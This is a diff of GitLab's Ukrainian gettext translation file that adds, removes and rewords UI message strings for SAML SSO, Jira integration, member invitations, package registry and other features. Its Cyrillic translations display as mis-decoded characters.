msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr "Відбиток Ñертифікату"
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr "ÐалаштуваннÑ"
@@ -14797,8 +15246,11 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr "Увімкнути автентифікацію через SAML Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— групи."
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
-msgstr "Зробити обов'Ñзковою SSO автентифікацію Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— групи."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
+msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
msgstr "Зобов'Ñзати кориÑтувачів Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— групи мати окремі облікові запиÑи керовані нею."
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr "Ð”Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб зробити SSO автентифікацію обов'Ñзковою, Ñпочатку вам треба увімкнути автентифікацію через SAML."
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr "Ð”Ð»Ñ ÑƒÐ²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð½Ñ Ð¾Ð±Ð»Ñ–ÐºÐ¾Ð²Ð¸Ñ… запиÑів керованих групою, Ñпочатку необхідно увімкнути обов'Ñзкове SSO."
@@ -15091,9 +15540,6 @@ msgstr "Групи також можуть бути вкладеними при
msgid "Groups to synchronize"
msgstr "Групи Ð´Ð»Ñ Ñинхронізації"
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "ЧаÑто відвідувані"
@@ -15229,9 +15675,6 @@ msgstr "Хешовані шлÑхи Ð´Ð»Ñ Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr "Електронна пошта Ð´Ð»Ñ Ð·Ð²ÐµÑ€Ñ‚Ð°Ð½ÑŒ кориÑтувачів"
-
msgid "Header logo was successfully removed."
msgstr "Логотип в заголовку уÑпішно видалено."
@@ -15414,6 +15857,9 @@ msgstr "ОчищеннÑ, екÑпорт, шлÑÑ…, перенеÑеннÑ, ви
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr "Якщо ви втратите коди відновленнÑ, ви можете Ñтворити нові, Ñ– вÑÑ– попередні коди Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ´ÑƒÑ‚ÑŒ недійÑними."
@@ -15746,9 +16198,6 @@ msgstr "Ð§Ð°Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ вичерпано. Імпорт зайнÑв бі
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr "Імпорт/екÑпорт ілюÑтрацій"
-
msgid "ImportButtons|Connect repositories from"
msgstr "Підключити репозиторії із"
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
-msgstr "Покращити запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° підтримку кориÑтувачів за допомогою GitLab Enterprise Edition."
+msgid "Importing..."
+msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr "Ð’ процеÑÑ–"
@@ -16401,6 +16850,9 @@ msgstr "ПовідомлÑти кориÑтувачам без клічів SSH,
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr "Ви можете знайти інформацію про додаткові шаблони Pages та те, Ñк Ñ—Ñ… вÑтановити в нашій %{pages_getting_started_guide}."
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr "Знайдено недійÑний файл конфігурації ÑтатиÑтики (Insights)"
-msgid "Invalid Login or password"
-msgstr "Ðеправильний логін або пароль"
-
msgid "Invalid OS"
msgstr "ÐеприпуÑтима ОС"
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr "ÐžÐ½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– неуÑпішне"
@@ -17101,6 +17559,9 @@ msgstr "Задачу було закрито %{name} %{reason}"
msgid "Issue weight"
msgstr "Вага задачі"
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr "Вік"
@@ -17188,6 +17649,9 @@ msgstr "Задачі можуть бути помилками, нагадуваÐ
msgid "Issues closed"
msgstr "Задачі закриті"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr "Задачі з коментарÑми, запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð· порівнÑннÑми (diff) та коментарÑми, мітки, етапи, Ñніпети та інші об'єкти в проєкті"
@@ -17251,6 +17715,9 @@ msgstr ""
msgid "It's you"
msgstr "Це ви"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr "ІтераціÑ"
@@ -17338,6 +17805,9 @@ msgstr "%{user_link} вказав цю задачу в %{entity_link} з %{proje
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr "Увімкнути задачі Jira"
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Події Ð´Ð»Ñ %{noteable_model_name} вимкнені."
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr "Ключ проєкту Jira"
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr "ВикориÑтовуйте пароль Ð´Ð»Ñ Ñерверної верÑÑ–Ñ— та API токен Ð´Ð»Ñ Ñ…Ð¼Ð°Ñ€Ð½Ð¾Ñ— верÑÑ–Ñ—"
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr "ВикориÑтовуйте Ñ–Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача Ð´Ð»Ñ Ñерверної верÑÑ–Ñ— та адреÑу електронної пошти Ð´Ð»Ñ Ñ…Ð¼Ð°Ñ€Ð½Ð¾Ñ— верÑÑ–Ñ—"
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr "Ð†Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача або адреÑа електронної пошти"
@@ -17647,15 +18135,6 @@ msgstr "Комбінації клавіш"
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr "Ключі"
@@ -17746,6 +18225,9 @@ msgstr "Випадаючий ÑпиÑок дій із мітками"
msgid "Label lists show all issues with the selected label."
msgstr "Ð’ ÑпиÑках на оÑнові міток відображаютьÑÑ Ð»Ð¸ÑˆÐµ Ñ‚Ñ– задачі, Ñкі мають вибрану мітку."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "Мітка була Ñтворена"
@@ -17951,6 +18433,9 @@ msgstr ""
msgid "Learn more"
msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr "ПоÑÐ¸Ð»Ð°Ð½Ð½Ñ Ñкопійовано"
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr "Заголовок поÑиланнÑ"
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr "ЗавантаженнÑ"
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ ÑтатиÑтики учаÑників групи"
@@ -18606,6 +19097,9 @@ msgstr "Керувати вÑіма ÑповіщеннÑми"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Керувати програмами, Ñкі можуть викориÑтовувати GitLab Ñк поÑтачальника OAuth, а також програми, Ñким ви Ñамі дозволили викориÑтовувати в вашому обліковому запиÑÑ–."
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "Керувати програмами, Ñким ви дозволили викориÑтовувати Ñвій обліковий запиÑ."
@@ -18645,6 +19139,9 @@ msgstr "Імпортувати файл маніфеÑту"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "Ðе вдалоÑÑ Ð·Ð±ÐµÑ€ÐµÐ³Ñ‚Ð¸ порÑдок задач"
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr "Позначити Ñк вирішене"
-
msgid "Mark this issue as a duplicate of another issue"
msgstr "Позначити задачу Ñк дублікат іншої"
@@ -18747,6 +19241,9 @@ msgstr "Збігів не знайдено, Ñпробуйте уточнити
msgid "MattermostService|Add to Mattermost"
msgstr "Додати в Mattermost"
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr "Слово Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑку команди"
@@ -18765,14 +19262,11 @@ msgstr "Іконка Ð´Ð»Ñ Ð²Ñ–Ð´Ð¿Ð¾Ð²Ñ–Ð´Ñ–"
msgid "MattermostService|Response username"
msgstr "Ð†Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача Ð´Ð»Ñ Ð²Ñ–Ð´Ð¿Ð¾Ð²Ñ–Ð´Ñ–"
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr "ПереглÑньте ÑпиÑок уÑÑ–Ñ… доÑтупних команд у Mattermost піÑÐ»Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ ÑервіÑу шлÑхом вводу"
-
msgid "MattermostService|Suggestions:"
msgstr "Пропозиції:"
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
-msgstr "Цей ÑÐµÑ€Ð²Ñ–Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÑÑ” кориÑтувачам виконувати загальні операції в цьому проєкті шлÑхом вводу команд із коÑою риÑкою (/) в Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
+msgstr ""
msgid "Max 100,000 events"
msgstr ""
@@ -18846,6 +19340,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr "МакÑимальна пропуÑкна здатніÑÑ‚ÑŒ"
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr "КориÑтувачі"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr "Запит на злиттÑ"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на злиттÑ"
-
msgid "Merge Request Commits"
msgstr ""
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñ–Ð² на злиттÑ"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñ–Ð² на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÑÑŽÑ‚ÑŒ вÑтановити кількіÑÑ‚ÑŒ необхідних затверджень та попередньо визначити ÑпиÑок затверджуючих оÑіб, Ñкі повинні будуть затверджувати кожен запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñƒ проєкті."
-
msgid "Merge request dependencies"
msgstr "ЗалежноÑÑ‚Ñ– запиту на злиттÑ"
@@ -19724,6 +20209,9 @@ msgstr[1] "Етапи"
msgstr[2] "Етапів"
msgstr[3] "Етапів"
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "СпиÑки етапів не доÑтупні з вашою поточною ліцензією"
@@ -19916,6 +20404,12 @@ msgstr "Ð’Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ ÑƒÑпішно вимкнено."
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr "Ð’Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ñтупне тільки Ñкщо Ñ†Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ð¾Ð½Ð°Ð»ÑŒÐ½Ñ–ÑÑ‚ÑŒ включена в план Ð´Ð»Ñ Ð²Ð¸Ð±Ñ€Ð°Ð½Ð¾Ð³Ð¾ кориÑтувача або групи."
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr "Більше"
msgid "More Information"
msgstr "Більше інформації"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr "Більше команд Slack"
@@ -20114,6 +20611,9 @@ msgstr ""
msgid "Name"
msgstr "Ім’Ñ"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr "Ð†Ð¼â€™Ñ Ð²Ð¶Ðµ викориÑтовуєтьÑÑ"
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Ðіколи"
@@ -20483,9 +20992,6 @@ msgstr "Ðовий імпорт Jira"
msgid "New Label"
msgstr "Ðова мітка"
-msgid "New Merge Request"
-msgstr "Ðовий запит на злиттÑ"
-
msgid "New Milestone"
msgstr "Ðовий етап"
@@ -20651,6 +21157,9 @@ msgstr "Далі"
msgid "Next commit"
msgstr "ÐаÑтупний коміт"
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr "Методи автентифікації не налаштовано."
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,8 +21274,8 @@ msgstr "Ðемає помилок Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
msgid "No estimate or time spent"
msgstr "Ðемає запланованого або витраченого чаÑу"
-msgid "No file chosen"
-msgstr "Файл не вибрано"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr ""
@@ -20813,6 +21325,9 @@ msgstr "Ðемає ліцензії. Ð’ÑÑ– права захищені"
msgid "No matches found"
msgstr "Збігів не знайдено"
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr "Ðемає відповідних міток"
@@ -20900,6 +21415,9 @@ msgstr "Ðіхто з тих, хто додав в обране не задовÑ
msgid "No start date"
msgstr "Ðемає дати початку"
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "Шаблон відÑутній"
@@ -21071,6 +21589,34 @@ msgstr "Параметр ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ - %{notification_title}"
msgid "Notification settings saved"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñповіщень збережено"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr "КількіÑÑ‚ÑŒ реплік Elasticsearch"
msgid "Number of Elasticsearch shards"
msgstr "КількіÑÑ‚ÑŒ Ñегментів Elasticsearch"
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr "КількіÑÑ‚ÑŒ Ñ€Ñдків коду (LOC) на коміт"
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr "Ой, а ви впевнені?"
msgid "Open"
msgstr "Відкриті"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr "Відкрити виділеннÑ"
@@ -21582,9 +22125,6 @@ msgstr "Відкрити файл Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду"
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr "Відкриті задачі"
-
msgid "Open raw"
msgstr "Відкрити в неформатованому виглÑді"
@@ -21597,12 +22137,15 @@ msgstr "Розгорніть бічну панель"
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "Відкрито"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "Відкрито"
+
msgid "Opened MRs"
msgstr "Відкриті запити на злиттÑ"
@@ -21615,6 +22158,9 @@ msgstr "Відкрито"
msgid "Opens in a new window"
msgstr "ВідкриваєтьÑÑ Ñƒ новому вікні"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr "ÐžÐ¿ÐµÑ€Ð°Ñ†Ñ–Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐ¸Ð»Ð°ÑÑ Ð½ÐµÐ²Ð´Ð°Ð»Ð¾. Перевірте журнал pod'а %{pod_name} Ð´Ð»Ñ Ð±Ñ–Ð»ÑŒÑˆ детальної інформації."
@@ -21666,6 +22212,9 @@ msgstr "Параметри"
msgid "Or you can choose one of the suggested colors below"
msgstr "Ðбо ви можете вибрати один із запропонованих нижче кольорів"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Додати джерело NuGet"
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr "Скопіювати команду Conan"
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Скопіювати Maven XML"
@@ -21828,6 +22386,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr "Скопіювати команду pip"
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Якщо ви ще не зробили цього, вам потрібно буде додати розміщене нижче в Ñвій файл %{codeStart}.pypirc%{codeEnd}."
@@ -21903,9 +22467,6 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Команда Maven"
-msgid "PackageRegistry|Maven XML"
-msgstr "Maven XML"
-
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr "Видалити пакет"
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
